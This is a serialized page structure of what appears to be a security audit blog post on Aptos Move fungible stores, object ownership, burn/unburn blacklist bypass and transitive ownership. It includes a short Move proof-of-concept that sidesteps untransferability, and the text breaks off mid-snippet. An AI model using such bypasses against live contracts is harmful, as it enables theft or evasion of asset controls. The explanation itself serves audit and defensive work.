},{"type":24,"tag":930,"props":66563,"children":66564},{"style":1023},[66565],{"type":30,"value":8943},{"type":24,"tag":930,"props":66567,"children":66568},{"style":1158},[66569],{"type":30,"value":6137},{"type":24,"tag":930,"props":66571,"children":66572},{"style":1158},[66573],{"type":30,"value":10253},{"type":24,"tag":930,"props":66575,"children":66576},{"style":959},[66577],{"type":30,"value":65996},{"type":24,"tag":930,"props":66579,"children":66580},{"style":1158},[66581],{"type":30,"value":6597},{"type":24,"tag":930,"props":66583,"children":66584},{"style":1023},[66585],{"type":30,"value":66586},"object_from_delete_ref",{"type":24,"tag":930,"props":66588,"children":66589},{"style":959},[66590],{"type":30,"value":1350},{"type":24,"tag":930,"props":66592,"children":66593},{"style":943},[66594],{"type":30,"value":65162},{"type":24,"tag":930,"props":66596,"children":66597},{"style":959},[66598],{"type":30,"value":10721},{"type":24,"tag":930,"props":66600,"children":66601},{"style":1023},[66602],{"type":30,"value":66366},{"type":24,"tag":930,"props":66604,"children":66605},{"style":959},[66606],{"type":30,"value":1278},{"type":24,"tag":930,"props":66608,"children":66609},{"class":932,"line":993},[66610,66614,66618],{"type":24,"tag":930,"props":66611,"children":66612},{"style":959},[66613],{"type":30,"value":65804},{"type":24,"tag":930,"props":66615,"children":66616},{"style":1158},[66617],{"type":30,"value":12699},{"type":24,"tag":930,"props":66619,"children":66620},{"style":959},[66621],{"type":30,"value":14879},{"type":24,"tag":930,"props":66623,"children":66624},{"class":932,"line":1057},[66625],{"type":24,"tag":930,"props":66626,"children":66627},{"style":959},[66628],{"type":30,"value":2528},{"type":24,"tag":33,"props":66630,"children":66631},{},[66632,66634,66639,66641,66647,66649,66654],{"type":30,"value":66633},"In addition, such \"deleted\" ",{"type":24,"tag":156,"props":66635,"children":66637},{"className":66636},[],[66638],{"type":30,"value":65162},{"type":30,"value":66640}," objects remain at least partially operable. For instance, ",{"type":24,"tag":156,"props":66642,"children":66644},{"className":66643},[],[66645],{"type":30,"value":66646},"fungible_asset::deposit",{"type":30,"value":66648}," does not check the ",{"type":24,"tag":156,"props":66650,"children":66652},{"className":66651},[],[66653],{"type":30,"value":51940},{"type":30,"value":66655}," existence.",{"type":24,"tag":151,"props":66657,"children":66659},{"id":66658},"ownership",[66660],{"type":30,"value":66661},"Ownership",{"type":24,"tag":33,"props":66663,"children":66664},{},[66665,66667,66672,66674,66680,66682,66687],{"type":30,"value":66666},"Each object has an owner. Fungible assets rely on the ",{"type":24,"tag":156,"props":66668,"children":66670},{"className":66669},[],[66671],{"type":30,"value":51940},{"type":30,"value":66673}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":24,"tag":156,"props":66675,"children":66677},{"className":66676},[],[66678],{"type":30,"value":66679},"object::owns",{"type":30,"value":66681}," to confirm ownership of the ",{"type":24,"tag":156,"props":66683,"children":66685},{"className":66684},[],[66686],{"type":30,"value":65162},{"type":30,"value":53266},{"type":24,"tag":920,"props":66689,"children":66691},{"className":6102,"code":66690,"language":6101,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n    owner: &signer,\n    store: Object\u003CT>,\n    abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n    assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n    [...]\n}\n",[66692],{"type":24,"tag":156,"props":66693,"children":66694},{"__ignoreMap":7},[66695,66743,66767,66794,66814,66842,66910,66925],{"type":24,"tag":930,"props":66696,"children":66697},{"class":932,"line":933},[66698,66702,66706,66710,66714,66718,66723,66727,66731,66735,66739],{"type":24,"tag":930,"props":66699,"children":66700},{"style":1002},[66701],{"type":30,"value":64762},{"type":24,"tag":930,"props":66703,"children":66704},{"style":959},[66705],{"type":30,"value":1010},{"type":24,"tag":930,"props":66707,"children":66708},{"style":1023},[66709],{"type":30,"value":10210},{"type":24,"tag":930,"props":66711,"children":66712},{"style":959},[66713],{"type":30,"value":5579},{"type":24,"tag":930,"props":66715,"children":66716},{"style":1023},[66717],{"type":30,"value":10219},{"type":24,"tag":930,"props":66719,"children":66720},{"style":1023},[66721],{"type":30,"value":66722}," withdraw_sanity_check",{"type":24,"tag":930,"props":66724,"children":66725},{"style":959},[66726],{"type":30,"value":1350},{"type":24,"tag":930,"props":66728,"children":66729},{"style":943},[66730],{"type":30,"value":9100},{"type":24,"tag":930,"props":66732,"children":66733},{"style":1158},[66734],{"type":30,"value":476},{"type":24,"tag":930,"props":66736,"children":66737},{"style":1023},[66738],{"type":30,"value":9044},{"type":24,"tag":930,"props":66740,"children":66741},{"style":959},[66742],{"type":30,"value":9700},{"type":24,"tag":930,"props":66744,"children":66745},{"class":932,"line":984},[66746,66751,66755,66759,66763],{"type":24,"tag":930,"props":66747,"children":66748},{"style":1023},[66749],{"type":30,"value":66750},"    owner",{"type":24,"tag":930,"props":66752,"children":66753},{"style":1158},[66754],{"type":30,"value":476},{"type":24,"tag":930,"props":66756,"children":66757},{"style":1158},[66758],{"type":30,"value":10253},{"type":24,"tag":930,"props":66760,"children":66761},{"style":1023},[66762],{"type":30,"value":10258},{"type":24,"tag":930,"props":66764,"children":66765},{"style":959},[66766],{"type":30,"value":2832},{"type":24,"tag":930,"props":66768,"children":66769},{"class":932,"line":993},[66770,66774,66778,66782,66786,66790],{"type":24,"tag":930,"props":66771,"children":66772},{"style":1023},[66773],{"type":30,"value":32504},{"type":24,"tag":930,"props":66775,"children":66776},{"style":1158},[66777],{"type":30,"value":476},{"type":24,"tag":930,"props":66779,"children":66780},{"style":943},[66781],{"type":30,"value":64648},{"type":24,"tag":930,"props":66783,"children":66784},{"style":959},[66785],{"type":30,"value":1350},{"type":24,"tag":930,"props":66787,"children":66788},{"style":943},[66789],{"type":30,"value":9100},{"type":24,"tag":930,"props":66791,"children":66792},{"style":959},[66793],{"type":30,"value":9251},{"type":24,"tag":930,"props":66795,"children":66796},{"class":932,"line":1057},[66797,66802,66806,66810],{"type":24,"tag":930,"props":66798,"children":66799},{"style":1023},[66800],{"type":30,"value":66801},"    abort_on_dispatch",{"type":24,"tag":930,"props":66803,"children":66804},{"style":1158},[66805],{"type":30,"value":476},{"type":24,"tag":930,"props":66807,"children":66808},{"style":943},[66809],{"type":30,"value":15157},{"type":24,"tag":930,"props":66811,"children":66812},{"style":959},[66813],{"type":30,"value":2832},{"type":24,"tag":930,"props":66815,"children":66816},{"class":932,"line":1066},[66817,66821,66825,66829,66833,66838],{"type":24,"tag":930,"props":66818,"children":66819},{"style":959},[66820],{"type":30,"value":5579},{"type":24,"tag":930,"props":66822,"children":66823},{"style":1023},[66824],{"type":30,"value":9456},{"type":24,"tag":930,"props":66826,"children":66827},{"style":943},[66828],{"type":30,"value":65182},{"type":24,"tag":930,"props":66830,"children":66831},{"style":959},[66832],{"type":30,"value":962},{"type":24,"tag":930,"props":66834,"children":66835},{"style":943},[66836],{"type":30,"value":66837},"DispatchFunctionStore",{"type":24,"tag":930,"props":66839,"children":66840},{"style":959},[66841],{"type":30,"value":981},{"type":24,"tag":930,"props":66843,"children":66844},{"class":932,"line":1075},[66845,66849,66854,66858,66863,66867,66871,66875,66879,66883,66887,66891,66896,66900,66905],{"type":24,"tag":930,"props":66846,"children":66847},{"style":1002},[66848],{"type":30,"value":65430},{"type":24,"tag":930,"props":66850,"children":66851},{"style":959},[66852],{"type":30,"value":66853},"(object",{"type":24,"tag":930,"props":66855,"children":66856},{"style":1158},[66857],{"type":30,"value":6597},{"type":24,"tag":930,"props":66859,"children":66860},{"style":1002},[66861],{"type":30,"value":66862},"owns",{"type":24,"tag":930,"props":66864,"children":66865},{"style":959},[66866],{"type":30,"value":1010},{"type":24,"tag":930,"props":66868,"children":66869},{"style":1023},[66870],{"type":30,"value":9053},{"type":24,"tag":930,"props":66872,"children":66873},{"style":959},[66874],{"type":30,"value":16043},{"type":24,"tag":930,"props":66876,"children":66877},{"style":1158},[66878],{"type":30,"value":6597},{"type":24,"tag":930,"props":66880,"children":66881},{"style":1002},[66882],{"type":30,"value":10321},{"type":24,"tag":930,"props":66884,"children":66885},{"style":959},[66886],{"type":30,"value":1010},{"type":24,"tag":930,"props":66888,"children":66889},{"style":1023},[66890],{"type":30,"value":18713},{"type":24,"tag":930,"props":66892,"children":66893},{"style":959},[66894],{"type":30,"value":66895},")), error",{"type":24,"tag":930,"props":66897,"children":66898},{"style":1158},[66899],{"type":30,"value":6597},{"type":24,"tag":930,"props":66901,"children":66902},{"style":1002},[66903],{"type":30,"value":66904},"permission_denied",{"type":24,"tag":930,"props":66906,"children":66907},{"style":959},[66908],{"type":30,"value":66909},"(ENOT_STORE_OWNER));\n",{"type":24,"tag":930,"props":66911,"children":66912},{"class":932,"line":1122},[66913,66917,66921],{"type":24,"tag":930,"props":66914,"children":66915},{"style":959},[66916],{"type":30,"value":65804},{"type":24,"tag":930,"props":66918,"children":66919},{"style":1158},[66920],{"type":30,"value":12699},{"type":24,"tag":930,"props":66922,"children":66923},{"style":959},[66924],{"type":30,"value":14879},{"type":24,"tag":930,"props":66926,"children":66927},{"class":932,"line":1131},[66928],{"type":24,"tag":930,"props":66929,"children":66930},{"style":959},[66931],{"type":30,"value":2528},{"type":24,"tag":33,"props":66933,"children":66934},{},[66935,66937,66942,66944,66950,66952,66958],{"type":30,"value":66936},"The thing to note is that defining ownership with ",{"type":24,"tag":156,"props":66938,"children":66940},{"className":66939},[],[66941],{"type":30,"value":66679},{"type":30,"value":66943}," can be tricky. The ",{"type":24,"tag":156,"props":66945,"children":66947},{"className":66946},[],[66948],{"type":30,"value":66949},"burn",{"type":30,"value":66951}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":24,"tag":156,"props":66953,"children":66955},{"className":66954},[],[66956],{"type":30,"value":66957},"BURN_ADDRESS",{"type":30,"value":66959}," while bypassing transfer restrictions:",{"type":24,"tag":920,"props":66961,"children":66963},{"className":6102,"code":66962,"language":6101,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n    let original_owner = signer::address_of(owner);\n    assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n    let object_addr = object.inner;\n    move_to(&create_signer(object_addr), TombStone { original_owner });\n    transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[66964],{"type":24,"tag":156,"props":66965,"children":66966},{"__ignoreMap":7},[66967,67064,67105,67155,67184,67234,67255],{"type":24,"tag":930,"props":66968,"children":66969},{"class":932,"line":933},[66970,66974,66978,66982,66987,66991,66995,66999,67003,67007,67011,67015,67019,67023,67027,67031,67035,67039,67043,67047,67051,67055,67060],{"type":24,"tag":930,"props":66971,"children":66972},{"style":1023},[66973],{"type":30,"value":64762},{"type":24,"tag":930,"props":66975,"children":66976},{"style":1023},[66977],{"type":30,"value":65728},{"type":24,"tag":930,"props":66979,"children":66980},{"style":1023},[66981],{"type":30,"value":9320},{"type":24,"tag":930,"props":66983,"children":66984},{"style":1023},[66985],{"type":30,"value":66986}," burn",{"type":24,"tag":930,"props":66988,"children":66989},{"style":959},[66990],{"type":30,"value":1350},{"type":24,"tag":930,"props":66992,"children":66993},{"style":943},[66994],{"type":30,"value":9100},{"type":24,"tag":930,"props":66996,"children":66997},{"style":1158},[66998],{"type":30,"value":476},{"type":24,"tag":930,"props":67000,"children":67001},{"style":1023},[67002],{"type":30,"value":9044},{"type":24,"tag":930,"props":67004,"children":67005},{"style":959},[67006],{"type":30,"value":10721},{"type":24,"tag":930,"props":67008,"children":67009},{"style":1023},[67010],{"type":30,"value":18713},{"type":24,"tag":930,"props":67012,"children":67013},{"style":1158},[67014],{"type":30,"value":476},{"type":24,"tag":930,"props":67016,"children":67017},{"style":1158},[67018],{"type":30,"value":10253},{"type":24,"tag":930,"props":67020,"children":67021},{"style":1023},[67022],{"type":30,"value":10258},{"type":24,"tag":930,"props":67024,"children":67025},{"style":959},[67026],{"type":30,"value":962},{"type":24,"tag":930,"props":67028,"children":67029},{"style":1023},[67030],{"type":30,"value":65996},{"type":24,"tag":930,"props":67032,"children":67033},{"style":1158},[67034],{"type":30,"value":476},{"type":24,"tag":930,"props":67036,"children":67037},{"style":943},[67038],{"type":30,"value":64648},{"type":24,"tag":930,"props":67040,"children":67041},{"style":959},[67042],{"type":30,"value":1350},{"type":24,"tag":930,"props":67044,"children":67045},{"style":943},[67046],{"type":30,"value":9100},{"type":24,"tag":930,"props":67048,"children":67049},{"style":959},[67050],{"type":30,"value":23550},{"type":24,"tag":930,"props":67052,"children":67053},{"style":1023},[67054],{"type":30,"value":9456},{"type":24,"tag":930,"props":67056,"children":67057},{"style":943},[67058],{"type":30,"value":67059}," ObjectCore",{"type":24,"tag":930,"props":67061,"children":67062},{"style":959},[67063],{"type":30,"value":981},{"type":24,"tag":930,"props":67065,"children":67066},{"class":932,"line":984},[67067,67071,67076,67080,67085,67089,67093,67097,67101],{"type":24,"tag":930,"props":67068,"children":67069},{"style":937},[67070],{"type":30,"value":6122},{"type":24,"tag":930,"props":67072,"children":67073},{"style":1023},[67074],{"type":30,"value":67075}," original_owner",{"type":24,"tag":930,"props":67077,"children":67078},{"style":1158},[67079],{"type":30,"value":6137},{"type":24,"tag":930,"props":67081,"children":67082},{"style":959},[67083],{"type":30,"value":67084}," signer",{"type":24,"tag":930,"props":67086,"children":67087},{"style":1158},[67088],{"type":30,"value":6597},{"type":24,"tag":930,"props":67090,"children":67091},{"style":1002},[67092],{"type":30,"value":10321},{"type":24,"tag":930,"props":67094,"children":67095},{"style":959},[67096],{"type":30,"value":1010},{"type":24,"tag":930,"props":67098,"children":67099},{"style":1023},[67100],{"type":30,"value":18713},{"type":24,"tag":930,"props":67102,"children":67103},{"style":959},[67104],{"type":30,"value":1278},{"type":24,"tag":930,"props":67106,"children":67107},{"class":932,"line":993},[67108,67112,67116,67121,67125,67129,67133,67138,67142,67146,67150],{"type":24,"tag":930,"props":67109,"children":67110},{"style":1002},[67111],{"type":30,"value":65430},{"type":24,"tag":930,"props":67113,"children":67114},{"style":959},[67115],{"type":30,"value":1010},{"type":24,"tag":930,"props":67117,"children":67118},{"style":1002},[67119],{"type":30,"value":67120},"is_owner",{"type":24,"tag":930,"props":67122,"children":67123},{"style":959},[67124],{"type":30,"value":1010},{"type":24,"tag":930,"props":67126,"children":67127},{"style":1023},[67128],{"type":30,"value":65996},{"type":24,"tag":930,"props":67130,"children":67131},{"style":959},[67132],{"type":30,"value":962},{"type":24,"tag":930,"props":67134,"children":67135},{"style":1023},[67136],{"type":30,"value":67137},"original_owner",{"type":24,"tag":930,"props":67139,"children":67140},{"style":959},[67141],{"type":30,"value":66019},{"type":24,"tag":930,"props":67143,"children":67144},{"style":1158},[67145],{"type":30,"value":6597},{"type":24,"tag":930,"props":67147,"children":67148},{"style":1002},[67149],{"type":30,"value":66904},{"type":24,"tag":930,"props":67151,"children":67152},{"style":959},[67153],{"type":30,"value":67154},"(ENOT_OBJECT_OWNER));\n",{"type":24,"tag":930,"props":67156,"children":67157},{"class":932,"line":1057},[67158,67162,67167,67171,67175,67179],{"type":24,"tag":930,"props":67159,"children":67160},{"style":937},[67161],{"type":30,"value":6122},{"type":24,"tag":930,"props":67163,"children":67164},{"style":1023},[67165],{"type":30,"value":67166}," object_addr",{"type":24,"tag":930,"props":67168,"children":67169},{"style":1158},[67170],{"type":30,"value":6137},{"type":24,"tag":930,"props":67172,"children":67173},{"style":1023},[67174],{"type":30,"value":65580},{"type":24,"tag":930,"props":67176,"children":67177},{"style":1158},[67178],{"type":30,"value":436},{"type":24,"tag":930,"props":67180,"children":67181},{"style":959},[67182],{"type":30,"value":67183},"inner;\n",{"type":24,"tag":930,"props":67185,"children":67186},{"class":932,"line":1066},[67187,67191,67195,67199,67204,67208,67213,67217,67222,67226,67230],{"type":24,"tag":930,"props":67188,"children":67189},{"style":1002},[67190],{"type":30,"value":66183},{"type":24,"tag":930,"props":67192,"children":67193},{"style":959},[67194],{"type":30,"value":1010},{"type":24,"tag":930,"props":67196,"children":67197},{"style":1158},[67198],{"type":30,"value":6230},{"type":24,"tag":930,"props":67200,"children":67201},{"style":1002},[67202],{"type":30,"value":67203},"create_signer",{"type":24,"tag":930,"props":67205,"children":67206},{"style":959},[67207],{"type":30,"value":1010},{"type":24,"tag":930,"props":67209,"children":67210},{"style":1023},[67211],{"type":30,"value":67212},"object_addr",{"type":24,"tag":930,"props":67214,"children":67215},{"style":959},[67216],{"type":30,"value":3199},{"type":24,"tag":930,"props":67218,"children":67219},{"style":943},[67220],{"type":30,"value":67221},"TombStone",{"type":24,"tag":930,"props":67223,"children":67224},{"style":959},[67225],{"type":30,"value":12694},{"type":24,"tag":930,"props":67227,"children":67228},{"style":1023},[67229],{"type":30,"value":67137},{"type":24,"tag":930,"props":67231,"children":67232},{"style":959},[67233],{"type":30,"value":41922},{"type":24,"tag":930,"props":67235,"children":67236},{"class":932,"line":1075},[67237,67242,67246,67250],{"type":24,"tag":930,"props":67238,"children":67239},{"style":1002},[67240],{"type":30,"value":67241},"    transfer_raw_inner",{"type":24,"tag":930,"props":67243,"children":67244},{"style":959},[67245],{"type":30,"value":1010},{"type":24,"tag":930,"props":67247,"children":67248},{"style":1023},[67249],{"type":30,"value":67212},{"type":24,"tag":930,"props":67251,"children":67252},{"style":959},[67253],{"type":30,"value":67254},", BURN_ADDRESS);\n",{"type":24,"tag":930,"props":67256,"children":67257},{"class":932,"line":1122},[67258],{"type":24,"tag":930,"props":67259,"children":67260},{"style":959},[67261],{"type":30,"value":2528},{"type":24,"tag":33,"props":67263,"children":67264},{},[67265,67271,67273,67278,67279,67286,67288,67293],{"type":24,"tag":156,"props":67266,"children":67268},{"className":67267},[],[67269],{"type":30,"value":67270},"unburn",{"type":30,"value":67272}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":24,"tag":156,"props":67274,"children":67276},{"className":67275},[],[67277],{"type":30,"value":66957},{"type":30,"value":21633},{"type":24,"tag":37,"props":67280,"children":67283},{"href":67281,"rel":67282},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[41],[67284],{"type":30,"value":67285},"AIP-99",{"type":30,"value":67287}," is a proposal to roll back the ",{"type":24,"tag":156,"props":67289,"children":67291},{"className":67290},[],[67292],{"type":30,"value":66949},{"type":30,"value":67294}," feature, but previously burned objects will remain restorable.",{"type":24,"tag":6054,"props":67296,"children":67297},{},[67298],{"type":24,"tag":33,"props":67299,"children":67300},{},[67301,67303,67307],{"type":30,"value":67302},"This ",{"type":24,"tag":930,"props":67304,"children":67305},{},[67306],{"type":30,"value":67285},{"type":30,"value":67308}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":24,"tag":33,"props":67310,"children":67311},{},[67312,67314,67320,67322,67327,67329,67334],{"type":30,"value":67313},"Another important thing is that ",{"type":24,"tag":156,"props":67315,"children":67317},{"className":67316},[],[67318],{"type":30,"value":67319},"fungible_asset::set_untransferable",{"type":30,"value":67321}," can be used to make all new ",{"type":24,"tag":156,"props":67323,"children":67325},{"className":67324},[],[67326],{"type":30,"value":65666},{"type":30,"value":67328}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":24,"tag":156,"props":67330,"children":67332},{"className":67331},[],[67333],{"type":30,"value":65162},{"type":30,"value":436},{"type":24,"tag":33,"props":67336,"children":67337},{},[67338,67340,67345,67347,67353,67355,67360,67362,67367],{"type":30,"value":67339},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":24,"tag":156,"props":67341,"children":67343},{"className":67342},[],[67344],{"type":30,"value":65162},{"type":30,"value":67346},", X can withdraw from that store. This is because ",{"type":24,"tag":156,"props":67348,"children":67350},{"className":67349},[],[67351],{"type":30,"value":67352},"fungible_asset::withdraw",{"type":30,"value":67354}," uses ",{"type":24,"tag":156,"props":67356,"children":67358},{"className":67357},[],[67359],{"type":30,"value":66679},{"type":30,"value":67361}," to verify both direct and indirect ownership of the ",{"type":24,"tag":156,"props":67363,"children":67365},{"className":67364},[],[67366],{"type":30,"value":65162},{"type":30,"value":53266},{"type":24,"tag":920,"props":67369,"children":67371},{"className":6102,"code":67370,"language":6101,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n        [...]\n    while (owner != current_address) {\n        count = count + 1;\n        [...]\n        assert!(\n            exists\u003CObjectCore>(current_address),\n            error::permission_denied(ENOT_OBJECT_OWNER),\n        );\n        let object = borrow_global\u003CObjectCore>(current_address);\n        current_address = object.owner;\n    };\n}\n",[67372],{"type":24,"tag":156,"props":67373,"children":67374},{"__ignoreMap":7},[67375,67436,67452,67482,67511,67526,67538,67568,67589,67596,67636,67661,67668],{"type":24,"tag":930,"props":67376,"children":67377},{"class":932,"line":933},[67378,67382,67387,67391,67395,67399,67403,67407,67412,67416,67420,67424,67428,67432],{"type":24,"tag":930,"props":67379,"children":67380},{"style":1023},[67381],{"type":30,"value":10219},{"type":24,"tag":930,"props":67383,"children":67384},{"style":1002},[67385],{"type":30,"value":67386}," verify_ungated_and_descendant",{"type":24,"tag":930,"props":67388,"children":67389},{"style":959},[67390],{"type":30,"value":1010},{"type":24,"tag":930,"props":67392,"children":67393},{"style":1023},[67394],{"type":30,"value":18713},{"type":24,"tag":930,"props":67396,"children":67397},{"style":1158},[67398],{"type":30,"value":476},{"type":24,"tag":930,"props":67400,"children":67401},{"style":1023},[67402],{"type":30,"value":4529},{"type":24,"tag":930,"props":67404,"children":67405},{"style":959},[67406],{"type":30,"value":962},{"type":24,"tag":930,"props":67408,"children":67409},{"style":1023},[67410],{"type":30,"value":67411},"destination",{"type":24,"tag":930,"props":67413,"children":67414},{"style":1158},[67415],{"type":30,"value":476},{"type":24,"tag":930,"props":67417,"children":67418},{"style":1023},[67419],{"type":30,"value":4529},{"type":24,"tag":930,"props":67421,"children":67422},{"style":959},[67423],{"type":30,"value":5579},{"type":24,"tag":930,"props":67425,"children":67426},{"style":1023},[67427],{"type":30,"value":9456},{"type":24,"tag":930,"props":67429,"children":67430},{"style":943},[67431],{"type":30,"value":67059},{"type":24,"tag":930,"props":67433,"children":67434},{"style":959},[67435],{"type":30,"value":981},{"type":24,"tag":930,"props":67437,"children":67438},{"class":932,"line":984},[67439,67444,67448],{"type":24,"tag":930,"props":67440,"children":67441},{"style":959},[67442],{"type":30,"value":67443},"        [",{"type":24,"tag":930,"props":67445,"children":67446},{"style":1158},[67447],{"type":30,"value":12699},{"type":24,"tag":930,"props":67449,"children":67450},{"style":959},[67451],{"type":30,"value":14879},{"type":24,"tag":930,"props":67453,"children":67454},{"class":932,"line":993},[67455,67460,67464,67468,67473,67478],{"type":24,"tag":930,"props":67456,"children":67457},{"style":1079},[67458],{"type":30,"value":67459},"    while",{"type":24,"tag":930,"props":67461,"children":67462},{"style":959},[67463],{"type":30,"value":1087},{"type":24,"tag":930,"props":67465,"children":67466},{"style":1023},[67467],{"type":30,"value":18713},{"type":24,"tag":930,"props":67469,"children":67470},{"style":1158},[67471],{"type":30,"value":67472}," !=",{"type":24,"tag":930,"props":67474,"children":67475},{"style":1023},[67476],{"type":30,"value":67477}," current_address",{"type":24,"tag":930,"props":67479,"children":67480},{"style":959},[67481],{"type":30,"value":1503},{"type":24,"tag":930,"props":67483,"children":67484},{"class":932,"line":1057},[67485,67490,67494,67499,67503,67507],{"type":24,"tag":930,"props":67486,"children":67487},{"style":1023},[67488],{"type":30,"value":67489},"        count",{"type":24,"tag":930,"props":67491,"children":67492},{"style":1158},[67493],{"type":30,"value":6137},{"type":24,"tag":930,"props":67495,"children":67496},{"style":1023},[67497],{"type":30,"value":67498}," count",{"type":24,"tag":930,"props":67500,"children":67501},{"style":1158},[67502],{"type":30,"value":12014},{"type":24,"tag":930,"props":67504,"children":67505},{"style":1242},[67506],{"type":30,"value":7637},{"type":24,"tag":930,"props":67508,"children":67509},{"style":959},[67510],{"type":30,"value":5539},{"type":24,"tag":930,"props":67512,"children":67513},{"class":932,"line":1066},[67514,67518,67522],{"type":24,"tag":930,"props":67515,"children":67516},{"style":959},[67517],{"type":30,"value":67443},{"type":24,"tag":930,"props":67519,"children":67520},{"style":1158},[67521],{"type":30,"value":12699},{"type":24,"tag":930,"props":67523,"children":67524},{"style":959},[67525],{"type":30,"value":14879},{"type":24,"tag":930,"props":67527,"children":67528},{"class":932,"line":1075},[67529,67534],{"type":24,"tag":930,"props":67530,"children":67531},{"style":1002},[67532],{"type":30,"value":67533},"        assert!",{"type":24,"tag":930,"props":67535,"children":67536},{"style":959},[67537],{"type":30,"value":2814},{"type":24,"tag":930,"props":67539,"children":67540},{"class":932,"line":1122},[67541,67546,67550,67555,67559,67564],{"type":24,"tag":930,"props":67542,"children":67543},{"style":1023},[67544],{"type":30,"value":67545},"            exists",{"type":24,"tag":930,"props":67547,"children":67548},{"style":959},[67549],{"type":30,"value":1350},{"type":24,"tag":930,"props":67551,"children":67552},{"style":943},[67553],{"type":30,"value":67554},"ObjectCore",{"type":24,"tag":930,"props":67556,"children":67557},{"style":959},[67558],{"type":30,"value":10721},{"type":24,"tag":930,"props":67560,"children":67561},{"style":1023},[67562],{"type":30,"value":67563},"current_address",{"type":24,"tag":930,"props":67565,"children":67566},{"style":959},[67567],{"type":30,"value":9848},{"type":24,"tag":930,"props":67569,"children":67570},{"class":932,"line":1131},[67571,67576,67580,67584],{"type":24,"tag":930,"props":67572,"children":67573},{"style":959},[67574],{"type":30,"value":67575},"            error",{"type":24,"tag":930,"props":67577,"children":67578},{"style":1158},[67579],{"type":30,"value":6597},{"type":24,"tag":930,"props":67581,"children":67582},{"style":1002},[67583],{"type":30,"value":66904},{"type":24,"tag":930,"props":67585,"children":67586},{"style":959},[67587],{"type":30,"value":67588},"(ENOT_OBJECT_OWNER),\n",{"type":24,"tag":930,"props":67590,"children":67591},{"class":932,"line":1144},[67592],{"type":24,"tag":930,"props":67593,"children":67594},{"style":959},[67595],{"type":30,"value":5221},{"type":24,"tag":930,"props":67597,"children":67598},{"class":932,"line":1169},[67599,67603,67607,67611,67616,67620,67624,67628,67632],{"type":24,"tag":930,"props":67600,"children":67601},{"style":937},[67602],{"type":30,"value":6186},{"type":24,"tag":930,"props":67604,"children":67605},{"style":1023},[67606],{"type":30,"value":65580},{"type":24,"tag":930,"props":67608,"children":67609},{"style":1158},[67610],{"type":30,"value":6137},{"type":24,"tag":930,"props":67612,"children":67613},{"style":1023},[67614],{"type":30,"value":67615}," borrow_global",{"type":24,"tag":930,"props":67617,"children":67618},{"style":959},[67619],{"type":30,"value":1350},{"type":24,"tag":930,"props":67621,"children":67622},{"style":943},[67623],{"type":30,"value":67554},{"type":24,"tag":930,"props":67625,"children":67626},{"style":959},[67627],{"type":30,"value":10721},{"type":24,"tag":930,"props":67629,"children":67630},{"style":1023},[67631],{"type":30,"value":67563},{"type":24,"tag":930,"props":67633,"children":67634},{"style":959},[67635],{"type":30,"value":1278},{"type":24,"tag":930,"props":67637,"children":67638},{"class":932,"line":1191},[67639,67644,67648,67652,67656],{"type":24,"tag":930,"props":67640,"children":67641},{"style":1023},[67642],{"type":30,"value":67643},"        current_address",{"type":24,"tag":930,"props":67645,"children":67646},{"style":1158},[67647],{"type":30,"value":6137},{"type":24,"tag":930,"props":67649,"children":67650},{"style":1023},[67651],{"type":30,"value":65580},{"type":24,"tag":930,"props":67653,"children":67654},{"style":1158},[67655],{"type":30,"value":436},{"type":24,"tag":930,"props":67657,"children":67658},{"style":959},[67659],{"type":30,"value":67660},"owner;\n",{"type":24,"tag":930,"props":67662,"children":67663},{"class":932,"line":1223},[67664],{"type":24,"tag":930,"props":67665,"children":67666},{"style":959},[67667],{"type":30,"value":42084},{"type":24,"tag":930,"props":67669,"children":67670},{"class":932,"line":1281},[67671],{"type":24,"tag":930,"props":67672,"children":67673},{"style":959},[67674],{"type":30,"value":2528},{"type":24,"tag":33,"props":67676,"children":67677},{},[67678,67680,67685],{"type":30,"value":67679},"This could allow for bypassing assumptions about ",{"type":24,"tag":156,"props":67681,"children":67683},{"className":67682},[],[67684],{"type":30,"value":65162},{"type":30,"value":67686}," true ownership and its non-transferability.",{"type":24,"tag":920,"props":67688,"children":67690},{"className":6102,"code":67689,"language":6101,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n    let constructor_ref = object::create_object(signer::address_of(caller));\n    let object_addr = object::address_from_constructor_ref(&constructor_ref);\n    let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n    object::transfer_raw(caller, object_addr, receipient);\n    //receipient can interact with store by using their signer\n}\n",[67691],{"type":24,"tag":156,"props":67692,"children":67693},{"__ignoreMap":7},[67694,67752,67805,67849,67897,67904,67949,67957],{"type":24,"tag":930,"props":67695,"children":67696},{"class":932,"line":933},[67697,67701,67705,67710,67714,67719,67723,67727,67731,67735,67740,67744,67748],{"type":24,"tag":930,"props":67698,"children":67699},{"style":1023},[67700],{"type":30,"value":64762},{"type":24,"tag":930,"props":67702,"children":67703},{"style":1023},[67704],{"type":30,"value":9320},{"type":24,"tag":930,"props":67706,"children":67707},{"style":1002},[67708],{"type":30,"value":67709}," 